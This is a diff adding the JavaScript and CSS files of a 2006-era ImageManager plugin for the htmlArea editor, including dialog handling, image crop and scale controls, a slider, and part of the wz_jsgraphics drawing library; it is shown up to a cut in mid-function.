+ var bottom = document.getElementById('bottom');
+ if(window.opener)
+ {
+ __dlg_init(bottom);
+ __dlg_translate(I18N);
+ }
+ }
+
+ addEvent(window, 'load', init);
\ No newline at end of file
--- /dev/null
+body { margin: 0; padding: 0; background-color: #eee; }
+table { width: 100%; }
+table td { text-align: center; }
+.crop{cursor:crosshair;}
+.selection { border: dotted 1px #000000; position:absolute; width: 0px; height: 1px; z-index:5; }
+.selectionWhite{ border: dotted 1px #FFFFFF; position:absolute; width: 0px; height: 1px; z-index:5; }
+.handleBox{ z-index:105; }
+.error { font-size:large; font-weight:bold; color:#c00; font-family: Helvetica, sans-serif; }
\ No newline at end of file
--- /dev/null
+/**
+ * Javascript used by the editorFrame.php, it basically initializes the frame.
+ * @author $Author: matrix $
+ * @version $Id: editorFrame.js,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ */
+
+var topDoc = window.top.document;
+
+var t_cx = topDoc.getElementById('cx');
+var t_cy = topDoc.getElementById('cy');
+var t_cw = topDoc.getElementById('cw');
+var t_ch = topDoc.getElementById('ch');
+
+var m_sx = topDoc.getElementById('sx');
+var m_sy = topDoc.getElementById('sy');
+var m_w = topDoc.getElementById('mw');
+var m_h = topDoc.getElementById('mh');
+var m_a = topDoc.getElementById('ma');
+var m_d = topDoc.getElementById('md');
+
+var s_sw = topDoc.getElementById('sw');
+var s_sh = topDoc.getElementById('sh');
+
+var r_ra = topDoc.getElementById('ra');
+
+var pattern = "img/2x2.gif";
+
+function doSubmit(action)
+{
+ if (action == 'crop')
+ {
+ var url = "editorFrame.php?img="+currentImageFile+"&action=crop¶ms="+parseInt(t_cx.value)+','+parseInt(t_cy.value)+','+ parseInt(t_cw.value)+','+parseInt(t_ch.value);
+
+ //alert(url);
+ location.href = url;
+
+ //location.reload();
+ }
+ else if (action == 'scale')
+ {
+ var url = "editorFrame.php?img="+currentImageFile+"&action=scale¶ms="+parseInt(s_sw.value)+','+parseInt(s_sh.value);
+ //alert(url);
+ location.href = url;
+
+ }
+ else if (action == 'rotate')
+ {
+ var flip = topDoc.getElementById('flip');
+
+ if(flip.value == 'hoz' || flip.value == 'ver')
+ location.href = "editorFrame.php?img="+currentImageFile+"&action=flip¶ms="+flip.value;
+ else if (isNaN(parseFloat(r_ra.value))==false)
+ location.href = "editorFrame.php?img="+currentImageFile+"&action=rotate¶ms="+parseFloat(r_ra.value);
+ }
+ else if(action == 'save') {
+ var s_file = topDoc.getElementById('save_filename');
+ var s_format = topDoc.getElementById('save_format');
+ var s_quality = topDoc.getElementById('quality');
+
+ var format = s_format.value.split(",");
+ if(s_file.value.length <= 0)
+ {
+ alert(i18n('Please enter a filename to save.'));
+ }
+ else
+ {
+ var filename = encodeURI(s_file.value);
+ var quality = parseInt(s_quality.value);
+ var url = "editorFrame.php?img="+currentImageFile+"&action=save¶ms="+format[0]+","+quality+"&file="+filename;
+ //alert(url);
+ location.href = url;
+ }
+ }
+}
+
+
+function addEvent(obj, evType, fn)
+{
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+}
+
+var jg_doc
+
+init = function()
+{
+ jg_doc = new jsGraphics("imgCanvas"); // draw directly into document
+ jg_doc.setColor("#000000"); // black
+
+ initEditor();
+}
+
+addEvent(window, 'load', init);
+
--- /dev/null
+<attach event="onmouseover" handler="hoverRollOver" />
+<attach event="onmouseout" handler="hoverRollOff" />
+<script type="text/javascript">
+//
+// Simple behaviour for IE5+ to emulate :hover CSS pseudo-class.
+// Experimental ver 0.1
+//
+// This is an experimental version! Handle with care!
+// Manual at: http://www.hszk.bme.hu/~hj130/css/list_menu/hover/
+//
+
+function hoverRollOver() {
+
+ element.origClassName = element.className; // backup origonal className
+
+ var tempClassStr = element.className;
+
+ tempClassStr += "Hover"; // convert name+'Hover' the last class name to emulate tag.class:hover
+
+ tempClassStr = tempClassStr.replace(/\s/g,"Hover "); //convert name+'Hover' the others to emulate tag.class:hover
+
+ tempClassStr += " hover"; // add simple 'hover' class name to emulate tag:hover
+
+ element.className = element.className + " " + tempClassStr;
+
+ //alert(element.className);
+ //window.status = element.className; // only for TEST
+}
+function hoverRollOff() {
+ element.className = element.origClassName;
+}
+
+</script>
+
--- /dev/null
+body { margin: 0; padding: 0; }
+.block { height: 98px; width: 98px; border: 1px solid threedface; text-align: center; behavior: url(hover.htc ); }
+.block a img { border: 0 none; }
+.block:hover, .block.hover{ background-color: #ffc; }
+.edit { font-size: 9pt; font-family: "MS Sans Serif", Geneva, sans-serif; padding-top: 3px;}
+.edit a { border: 1px solid white; padding: 3px; }
+.edit a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; background-color: #ffc; }
+.edit a img { border: 0 none; vertical-align: bottom; }
+.noResult { font-size:large; font-weight:bold; color:#ccc; font-family: Helvetica, sans-serif; text-align: center; padding-top: 60px; }
+.error { color:#c00; font-weight:bold; font-size: medium; font-family: Helvetica, sans-serif; text-align: center; padding-top: 65px;}
\ No newline at end of file
--- /dev/null
+/**
+ * Functions for the image listing, used by images.php only
+ * @author $Author: matrix $
+ * @version $Id: images.js,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ */
+
+ function i18n(str) {
+ if(I18N)
+ return (I18N[str] || str);
+ else
+ return str;
+ };
+
+ function changeDir(newDir)
+ {
+ showMessage('Loading');
+ location.href = "images.php?dir="+newDir;
+ }
+
+
+ function newFolder(dir, newDir)
+ {
+ location.href = "images.php?dir="+dir+"&newDir="+newDir;
+ }
+
+ //update the dir list in the parent window.
+ function updateDir(newDir)
+ {
+ var selection = window.top.document.getElementById('dirPath');
+ if(selection)
+ {
+ for(var i = 0; i < selection.length; i++)
+ {
+ var thisDir = selection.options[i].text;
+ if(thisDir == newDir)
+ {
+ selection.selectedIndex = i;
+ showMessage('Loading');
+ break;
+ }
+ }
+ }
+ }
+
+ function selectImage(filename, alt, width, height)
+ {
+ var topDoc = window.top.document;
+
+ var obj = topDoc.getElementById('f_url'); obj.value = filename;
+ var obj = topDoc.getElementById('f_width'); obj.value = width;
+ var obj = topDoc.getElementById('f_width'); obj.value = width;
+ var obj = topDoc.getElementById('f_height'); obj.value = height;
+ var obj = topDoc.getElementById('f_alt'); obj.value = alt;
+ var obj = topDoc.getElementById('orginal_width'); obj.value = width;
+ var obj = topDoc.getElementById('orginal_height'); obj.value = height;
+ }
+
+ function showMessage(newMessage)
+ {
+ var topDoc = window.top.document;
+
+ var message = topDoc.getElementById('message');
+ var messages = topDoc.getElementById('messages');
+ if(message && messages)
+ {
+ if(message.firstChild)
+ message.removeChild(message.firstChild);
+
+ message.appendChild(topDoc.createTextNode(i18n(newMessage)));
+
+ messages.style.display = "block";
+ }
+ }
+
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ function confirmDeleteFile(file)
+ {
+ if(confirm(i18n("Delete file?")))
+ return true;
+
+ return false;
+ }
+
+ function confirmDeleteDir(dir, count)
+ {
+ if(count > 0)
+ {
+ alert(i18n("Please delete all files/folders inside the folder you wish to delete first."));
+ return;
+ }
+
+ if(confirm(i18n("Delete folder?")))
+ return true;
+
+ return false;
+ }
+
+ addEvent(window, 'load', init);
\ No newline at end of file
--- /dev/null
+html, body { background-color: ButtonFace; color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+fieldset { padding: 0;}
+.title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px solid black; letter-spacing: 2px;}
+form { padding: 0px; margin: 0 auto; width: 550px;}
+.dirWidth { width: 70%; }
+a { padding: 5px; border: 1px solid ButtonFace; }
+a img { border: 0; }
+a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; }
+.dirs { padding: 1em; }
+.imageFrame { width: 525px; height: 145px; margin: 0 auto; margin-top: 1em; background-color: White;}
+.smallWidth{ width: 4em; }
+.largelWidth{ width: 22em; }
+.inputTable { margin: 1em auto; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+.clearboth{ clear: both; }
+#messages { position: relative; left: 175px; top: 115px; background-color: white; width:200px; float: left; margin-top: -52px; border: 1px solid #ccc; text-align: center; padding: 15px; }
+#message { font-size: 15px; font-weight: bold; color: #69c; }
--- /dev/null
+/**
+ * Functions for the ImageManager, used by manager.php only
+ * @author $Author: matrix $
+ * @version $Id: manager.js,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+ * @package ImageManager
+ */
+
+ //Translation
+ function i18n(str) {
+ if(I18N)
+ return (I18N[str] || str);
+ else
+ return str;
+ };
+
+
+ //set the alignment options
+ function setAlign(align)
+ {
+ var selection = document.getElementById('f_align');
+ for(var i = 0; i < selection.length; i++)
+ {
+ if(selection.options[i].value == align)
+ {
+ selection.selectedIndex = i;
+ break;
+ }
+ }
+ }
+
+ //initialise the form
+ init = function ()
+ {
+ __dlg_init();
+
+ if(I18N)
+ __dlg_translate(I18N);
+
+ var uploadForm = document.getElementById('uploadForm');
+ if(uploadForm) uploadForm.target = 'imgManager';
+
+ var param = window.dialogArguments;
+ if (param)
+ {
+ document.getElementById("f_url").value = param["f_url"];
+ document.getElementById("f_alt").value = param["f_alt"];
+ document.getElementById("f_border").value = param["f_border"];
+ document.getElementById("f_vert").value = param["f_vert"];
+ document.getElementById("f_horiz").value = param["f_horiz"];
+ document.getElementById("f_width").value = param["f_width"];
+ document.getElementById("f_height").value = param["f_height"];
+ setAlign(param["f_align"]);
+ }
+
+ document.getElementById("f_url").focus();
+ }
+
+
+ function onCancel()
+ {
+ __dlg_close(null);
+ return false;
+ };
+
+ function onOK()
+ {
+ // pass data back to the calling window
+ var fields = ["f_url", "f_alt", "f_align", "f_border", "f_horiz", "f_vert", "f_height", "f_width"];
+ var param = new Object();
+ for (var i in fields)
+ {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ if(id == "f_url" && el.value.indexOf('://') < 0 )
+ param[id] = makeURL(base_url,el.value);
+ else
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+ };
+
+ //similar to the Files::makeFile() in Files.php
+ function makeURL(pathA, pathB)
+ {
+ if(pathA.substring(pathA.length-1) != '/')
+ pathA += '/';
+
+ if(pathB.charAt(0) == '/');
+ pathB = pathB.substring(1);
+
+ return pathA+pathB;
+ }
+
+
+ function updateDir(selection)
+ {
+ var newDir = selection.options[selection.selectedIndex].value;
+ changeDir(newDir);
+ }
+
+ function goUpDir()
+ {
+ var selection = document.getElementById('dirPath');
+ var currentDir = selection.options[selection.selectedIndex].text;
+ if(currentDir.length < 2)
+ return false;
+ var dirs = currentDir.split('/');
+
+ var search = '';
+
+ for(var i = 0; i < dirs.length - 2; i++)
+ {
+ search += dirs[i]+'/';
+ }
+
+ for(var i = 0; i < selection.length; i++)
+ {
+ var thisDir = selection.options[i].text;
+ if(thisDir == search)
+ {
+ selection.selectedIndex = i;
+ var newDir = selection.options[i].value;
+ changeDir(newDir);
+ break;
+ }
+ }
+ }
+
+ function changeDir(newDir)
+ {
+ if(typeof imgManager != 'undefined')
+ imgManager.changeDir(newDir);
+ }
+
+ function toggleConstrains(constrains)
+ {
+ var lockImage = document.getElementById('imgLock');
+ var constrains = document.getElementById('constrain_prop');
+
+ if(constrains.checked)
+ {
+ lockImage.src = "img/locked.gif";
+ checkConstrains('width')
+ }
+ else
+ {
+ lockImage.src = "img/unlocked.gif";
+ }
+ }
+
+ function checkConstrains(changed)
+ {
+ //alert(document.form1.constrain_prop);
+ var constrains = document.getElementById('constrain_prop');
+
+ if(constrains.checked)
+ {
+ var obj = document.getElementById('orginal_width');
+ var orginal_width = parseInt(obj.value);
+ var obj = document.getElementById('orginal_height');
+ var orginal_height = parseInt(obj.value);
+
+ var widthObj = document.getElementById('f_width');
+ var heightObj = document.getElementById('f_height');
+
+ var width = parseInt(widthObj.value);
+ var height = parseInt(heightObj.value);
+
+ if(orginal_width > 0 && orginal_height > 0)
+ {
+ if(changed == 'width' && width > 0) {
+ heightObj.value = parseInt((width/orginal_width)*orginal_height);
+ }
+
+ if(changed == 'height' && height > 0) {
+ widthObj.value = parseInt((height/orginal_height)*orginal_width);
+ }
+ }
+ }
+ }
+
+ function showMessage(newMessage)
+ {
+ var message = document.getElementById('message');
+ var messages = document.getElementById('messages');
+ if(message.firstChild)
+ message.removeChild(message.firstChild);
+
+ message.appendChild(document.createTextNode(i18n(newMessage)));
+
+ messages.style.display = "block";
+ }
+
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ function doUpload()
+ {
+
+ var uploadForm = document.getElementById('uploadForm');
+ if(uploadForm)
+ showMessage('Uploading');
+ }
+
+ function refresh()
+ {
+ var selection = document.getElementById('dirPath');
+ updateDir(selection);
+ }
+
+
+ function newFolder()
+ {
+ var selection = document.getElementById('dirPath');
+ var dir = selection.options[selection.selectedIndex].value;
+
+ Dialog("newFolder.html", function(param)
+ {
+ if (!param) // user must have pressed Cancel
+ return false;
+ else
+ {
+ var folder = param['f_foldername'];
+ if(folder == thumbdir)
+ {
+ alert(i18n('Invalid folder name, please choose another folder name.'));
+ return false;
+ }
+
+ if (folder && folder != '' && typeof imgManager != 'undefined')
+ imgManager.newFolder(dir, encodeURI(folder));
+ }
+ }, null);
+ }
+
+ addEvent(window, 'load', init);
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2006/07/13 13:53:52 matrix Exp $
+
+// Slightly modified for the ImageManager, window resizing is done only
+// by each window's script. Added translation for a few other HTML elements.
+
+function getAbsolutePos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+function comboSelectValue(c, val) {
+ var ops = c.getElementsByTagName("option");
+ for (var i = ops.length; --i >= 0;) {
+ var op = ops[i];
+ op.selected = (op.value == val);
+ }
+ c.value = val;
+};
+
+function __dlg_onclose() {
+ if(opener.Dialog._return)
+ opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+ var body = document.body;
+ var body_height = 0;
+ if (typeof bottom == "undefined") {
+ var div = document.createElement("div");
+ body.appendChild(div);
+ var pos = getAbsolutePos(div);
+ body_height = pos.y;
+ } else {
+ var pos = getAbsolutePos(bottom);
+ body_height = pos.y + bottom.offsetHeight;
+ }
+ if(opener && opener.Dialog && opener.Dialog._arguments)
+ window.dialogArguments = opener.Dialog._arguments;
+ if (!document.all) {
+ //window.sizeToContent();
+ //window.sizeToContent(); // for reasons beyond understanding,
+ // only if we call it twice we get the
+ // correct size.
+ window.addEventListener("unload", __dlg_onclose, true);
+ // center on parent
+ var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+ var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+ window.moveTo(x, y);
+ //window.innerWidth = body.offsetWidth + 5;
+ //window.innerHeight = body_height + 2;
+ } else {
+ // window.dialogHeight = body.offsetHeight + 50 + "px";
+ // window.dialogWidth = body.offsetWidth + "px";
+ //window.resizeTo(body.offsetWidth, body_height);
+ var ch = body.clientHeight;
+ var cw = body.clientWidth;
+ //window.resizeBy(body.offsetWidth - cw, body_height - ch);
+ var W = body.offsetWidth;
+ var H = 2 * body_height - ch;
+ if(ch <= 0) H = body_height;
+ var x = (screen.availWidth - W) / 2;
+ var y = (screen.availHeight - H) / 2;
+
+ window.moveTo(x, y);
+ }
+ document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+ var types = ["span", "option", "td", "button", "div", "label", "a","img", "legend"];
+ for (var type in types) {
+ var spans = document.getElementsByTagName(types[type]);
+ for (var i = spans.length; --i >= 0;) {
+ var span = spans[i];
+ if (span.firstChild && span.firstChild.data) {
+ var txt = i18n[span.firstChild.data];
+ if (txt) span.firstChild.data = txt;
+ }
+ if(span.title){
+ var txt = i18n[span.title];
+ if(txt) span.title = txt;
+ }
+ if(span.alt){
+ var txt = i18n[span.alt];
+ if(txt) span.alt = txt;
+ }
+ }
+ }
+ var txt = i18n[document.title];
+ if (txt)
+ document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+ opener.Dialog._return(val);
+ window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+ ev || (ev = window.event);
+ if (ev.keyCode == 27) {
+ window.close();
+ return false;
+ }
+ return true;
+};
--- /dev/null
+/***********************************************************************
+** Title.........: Simple Lite Slider for Image Editor
+** Version.......: 1.1
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: slider.js
+** Last changed..: 31 Mar 2004
+** Notes.........: Works in IE and Mozilla
+**/
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+document.onmouseup = captureStop;
+
+var currentSlider = null,sliderField = null;
+var rangeMin = null, rangeMax= null, sx = -1, sy = -1, initX=0;
+
+function getMouseXY(e) {
+
+ //alert('hello');
+ x = ns6? e.clientX: event.clientX
+ y = ns6? e.clientY: event.clientY
+
+ if (sx < 0) sx = x; if (sy < 0) sy = y;
+
+ var dx = initX +(x-sx);
+
+ if (dx <= rangeMin)
+ dx = rangeMin;
+ else if (dx >= rangeMax)
+ dx = rangeMax;
+
+ var range = (dx-rangeMin)/(rangeMax - rangeMin)*100;
+
+ if (currentSlider != null)
+ currentSlider.style.left = dx+"px";
+
+ if (sliderField != null)
+ {
+ sliderField.value = parseInt(range);
+ }
+ return false;
+
+}
+
+function initSlider()
+{
+ if (currentSlider == null)
+ currentSlider = document.getElementById('sliderbar');
+
+ if (sliderField == null)
+ sliderField = document.getElementById('quality');
+
+ if (rangeMin == null)
+ rangeMin = 3
+ if (rangeMax == null)
+ {
+ var track = document.getElementById('slidertrack');
+ rangeMax = parseInt(track.style.width);
+ }
+
+}
+
+function updateSlider(value)
+{
+ initSlider();
+
+ var newValue = parseInt(value)/100*(rangeMax-rangeMin);
+
+ if (newValue <= rangeMin)
+ newValue = rangeMin;
+ else if (newValue >= rangeMax)
+ newValue = rangeMax;
+
+ if (currentSlider != null)
+ currentSlider.style.left = newValue+"px";
+
+ var range = newValue/(rangeMax - rangeMin)*100;
+
+ if (sliderField != null)
+ sliderField.value = parseInt(range);
+}
+
+function captureStart()
+{
+
+ initSlider();
+
+ initX = parseInt(currentSlider.style.left);
+ if (initX > rangeMax)
+ initX = rangeMax;
+ else if (initX < rangeMin)
+ initX = rangeMin;
+
+ document.onmousemove = getMouseXY;
+
+ return false;
+}
+
+function captureStop()
+{
+ sx = -1; sy = -1;
+ document.onmousemove = null;
+ return false;
+}
\ No newline at end of file
--- /dev/null
+/***********************************************************************
+** Title.........: Javascript Graphics
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: wz_jsgraphics.js
+** Last changed..: 31 Aug 2003
+** Notes.........: Modified for Image Editor, added extra commands
+**/
+
+/* This notice must be untouched at all times.
+
+wz_jsgraphics.js v. 2.03
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Copyright (c) 2002-2003 Walter Zorn. All rights reserved.
+Created 3. 11. 2002 by Walter Zorn <walter@kreuzotter.de>
+Last modified: 11. 6. 2003
+
+High Performance JavaScript Graphics Library.
+Provides methods
+- to draw lines, rectangles, ellipses, polygons
+ with specifiable line thickness,
+- to fill rectangles and ellipses
+- to draw text.
+NOTE: Operations, functions and branching have rather been optimized
+to efficiency and speed than to shortness of source code.
+
+This program is free software;
+you can redistribute it and/or modify it under the terms of the
+GNU General Public License as published by the Free Software Foundation;
+either version 2 of the License, or (at your option) any later version.
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY;
+without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+See the GNU General Public License
+at http://www.gnu.org/copyleft/gpl.html for more details.
+*/
+
+
+
+
+
+var jg_ihtm, jg_ie, jg_dom,
+jg_n4 = (document.layers && typeof document.classes != "undefined");
+
+
+
+
+
+function chkDHTM(x, i)
+{
+ x = document.body || null;
+ jg_ie = (x && typeof x.insertAdjacentHTML != "undefined");
+ jg_dom = (x && !jg_ie &&
+ typeof x.appendChild != "undefined" &&
+ typeof document.createRange != "undefined" &&
+ typeof (i = document.createRange()).setStartBefore != "undefined" &&
+ typeof i.createContextualFragment != "undefined");
+ jg_ihtm = (!jg_ie && !jg_dom && x && typeof x.innerHTML != "undefined");
+}
+
+
+
+
+
+function pntDoc()
+{
+ this.wnd.document.write(this.htm);
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnvDom()
+{
+ var x = document.createRange();
+ x.setStartBefore(this.cnv);
+ x = x.createContextualFragment(this.htm);
+ this.cnv.appendChild(x);
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnvIe()
+{
+ this.cnv.insertAdjacentHTML("BeforeEnd", this.htm);
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnvIhtm()
+{
+ this.cnv.innerHTML += this.htm;
+ this.htm = '';
+}
+
+
+
+
+
+function pntCnv()
+{
+ this.htm = '';
+}
+
+
+
+
+
+function mkDiv(x, y, w, h)
+{
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'overflow:hidden;background-color:' + this.color + ';'+
+ '"><\/div>';
+
+ //alert(this.htm);
+}
+
+
+
+
+function mkDivPrint(x, y, w, h)
+{
+ this.htm += '<div style="position:absolute;'+
+ 'border-left:' + w + 'px solid ' + this.color + ';'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'overflow:hidden;background-color:' + this.color + ';'+
+ '"><\/div>';
+}
+
+
+
+
+
+function mkLyr(x, y, w, h)
+{
+ this.htm += '<layer '+
+ 'left="' + x + '" '+
+ 'top="' + y + '" '+
+ 'width="' + w + '" '+
+ 'height="' + h + '" '+
+ 'bgcolor="' + this.color + '"><\/layer>\n';
+}
+
+
+
+
+
+function mkLbl(txt, x, y)
+{
+ this.htm += '<div style="position:absolute;white-space:nowrap;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'font-family:' + this.ftFam + ';'+
+ 'font-size:' + this.ftSz + ';'+
+ 'color:' + this.color + ';' + this.ftSty + '">'+
+ txt +
+ '<\/div>';
+}
+
+
+
+
+
+function mkLin(x1, y1, x2, y2)
+{
+ if (x1 > x2)
+ {
+ var _x2 = x2;
+ var _y2 = y2;
+ x2 = x1;
+ y2 = y1;
+ x1 = _x2;
+ y1 = _y2;
+ }
+ var dx = x2-x1, dy = Math.abs(y2-y1),
+ x = x1, y = y1,
+ yIncr = (y1 > y2)? -1 : 1;
+
+ if (dx >= dy)
+ {
+ var pr = dy<<1,
+ pru = pr - (dx<<1),
+ p = pr-dx,
+ ox = x;
+ while ((dx--) > 0)
+ {
+ ++x;
+ if (p > 0)
+ {
+ this.mkDiv(ox, y, x-ox, 1);
+ y += yIncr;
+ p += pru;
+ ox = x;
+ }
+ else p += pr;
+ }
+ this.mkDiv(ox, y, x2-ox+1, 1);
+ }
+
+ else
+ {
+ var pr = dx<<1,
+ pru = pr - (dy<<1),
+ p = pr-dy,
+ oy = y;
+ if (y2 <= y1)
+ {
+ while ((dy--) > 0)
+ {
+ if (p > 0)
+ {
+ this.mkDiv(x++, y, 1, oy-y+1);
+ y += yIncr;
+ p += pru;
+ oy = y;
+ }
+ else
+ {
+ y += yIncr;
+ p += pr;
+ }
+ }
+ this.mkDiv(x2, y2, 1, oy-y2+1);
+ }
+ else
+ {
+ while ((dy--) > 0)
+ {
+ y += yIncr;
+ if (p > 0)
+ {
+ this.mkDiv(x++, oy, 1, y-oy);
+ p += pru;
+ oy = y;
+ }
+ else p += pr;
+ }
+ this.mkDiv(x2, oy, 1, y2-oy+1);
+ }
+ }
+}
+
+
+
+
+
+function mkLin2D(x1, y1, x2, y2)
+{
+ if (x1 > x2)
+ {
+ var _x2 = x2;
+ var _y2 = y2;
+ x2 = x1;
+ y2 = y1;
+ x1 = _x2;
+ y1 = _y2;
+ }
+ var dx = x2-x1, dy = Math.abs(y2-y1),
+ x = x1, y = y1,
+ yIncr = (y1 > y2)? -1 : 1;
+
+
+ var s = this.stroke;
+ if (dx >= dy)
+ {
+ if (s-0x3 > 0)
+ {
+ var _s = (s*dx*Math.sqrt(1+dy*dy/(dx*dx))-dx-(s>>1)*dy) / dx;
+ _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+ }
+ else var _s = s;
+ var ad = Math.ceil(s/2);
+
+ var pr = dy<<1,
+ pru = pr - (dx<<1),
+ p = pr-dx,
+ ox = x;
+ while ((dx--) > 0)
+ {
+ ++x;
+ if (p > 0)
+ {
+ this.mkDiv(ox, y, x-ox+ad, _s);
+ y += yIncr;
+ p += pru;
+ ox = x;
+ }
+ else p += pr;
+ }
+ this.mkDiv(ox, y, x2-ox+ad+1, _s);
+ }
+
+ else
+ {
+ if (s-0x3 > 0)
+ {
+ var _s = (s*dy*Math.sqrt(1+dx*dx/(dy*dy))-(s>>1)*dx-dy) / dy;
+ _s = (!(s-0x4)? Math.ceil(_s) : Math.round(_s)) + 1;
+ }
+ else var _s = s;
+ var ad = Math.round(s/2);
+
+ var pr = dx<<1,
+ pru = pr - (dy<<1),
+ p = pr-dy,
+ oy = y;
+ if (y2 <= y1)
+ {
+ ++ad;
+ while ((dy--) > 0)
+ {
+ if (p > 0)
+ {
+ this.mkDiv(x++, y, _s, oy-y+ad);
+ y += yIncr;
+ p += pru;
+ oy = y;
+ }
+ else
+ {
+ y += yIncr;
+ p += pr;
+ }
+ }
+ this.mkDiv(x2, y2, _s, oy-y2+ad);
+ }
+ else
+ {
+ while ((dy--) > 0)
+ {
+ y += yIncr;
+ if (p > 0)
+ {
+ this.mkDiv(x++, oy, _s, y-oy+ad);
+ p += pru;
+ oy = y;
+ }
+ else p += pr;
+ }
+ this.mkDiv(x2, oy, _s, y2-oy+ad+1);
+ }
+ }
+}
+
+
+
+
+
+function mkLinDott(x1, y1, x2, y2)
+{
+ if (x1 > x2)
+ {
+ var _x2 = x2;
+ var _y2 = y2;
+ x2 = x1;
+ y2 = y1;
+ x1 = _x2;
+ y1 = _y2;
+ }
+ var dx = x2-x1, dy = Math.abs(y2-y1),
+ x = x1, y = y1,
+ yIncr = (y1 > y2)? -1 : 1,
+ drw = true;
+ if (dx >= dy)
+ {
+ var pr = dy<<1,
+ pru = pr - (dx<<1),
+ p = pr-dx;
+ while ((dx--) > 0)
+ {
+ if (drw) this.mkDiv(x, y, 1, 1);
+ drw = !drw;
+ if (p > 0)
+ {
+ y += yIncr;
+ p += pru;
+ }
+ else p += pr;
+ ++x;
+ }
+ if (drw) this.mkDiv(x, y, 1, 1);
+ }
+
+ else
+ {
+ var pr = dx<<1,
+ pru = pr - (dy<<1),
+ p = pr-dy;
+ while ((dy--) > 0)
+ {
+ if (drw) this.mkDiv(x, y, 1, 1);
+ drw = !drw;
+ y += yIncr;
+ if (p > 0)
+ {
+ ++x;
+ p += pru;
+ }
+ else p += pr;
+ }
+ if (drw) this.mkDiv(x, y, 1, 1);
+ }
+}
+
+
+
+
+
+function mkOv(left, top, width, height)
+{
+ var a = width>>1, b = height>>1,
+ wod = width&1, hod = (height&1)+1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ ox = 0, oy = b,
+ aa = (a*a)<<1, bb = (b*b)<<1,
+ st = (aa>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa*((b<<1)-1),
+ w, h;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+ tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+ w = x-ox;
+ h = oy-y;
+ if (w&0x2 && h&0x2)
+ {
+ this.mkOvQds(cx, cy, -x+0x2, ox+wod, -oy, oy-1+hod, 1, 1);
+ this.mkOvQds(cx, cy, -x+1, x-1+wod, -y-1, y+hod, 1, 1);
+ }
+ else this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, oy-h+hod, w, h);
+ ox = x;
+ oy = y;
+ }
+ else
+ {
+ tt -= aa*((y<<1)-0x3);
+ st -= (aa<<1)*(--y);
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, a-ox+1, (oy<<1)+hod);
+ this.mkDiv(cx+ox+wod, cy-oy, a-ox+1, (oy<<1)+hod);
+}
+
+
+
+
+
+function mkOv2D(left, top, width, height)
+{
+ var s = this.stroke;
